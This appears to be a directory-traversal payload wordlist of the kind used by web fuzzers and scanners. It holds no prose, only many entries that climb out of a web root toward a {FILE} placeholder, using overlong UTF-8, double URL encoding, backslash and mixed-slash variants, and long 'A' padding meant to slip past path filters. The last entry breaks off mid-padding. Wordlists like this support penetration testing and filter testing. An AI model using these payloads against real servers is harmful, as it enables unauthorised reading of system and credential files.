+/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c{FILE} +/..0x5c{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c{FILE} +/\..%2f +/\..%2f\..%2f +/\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66{FILE} +/..%%32%66{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63{FILE} +/..%%35%63{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA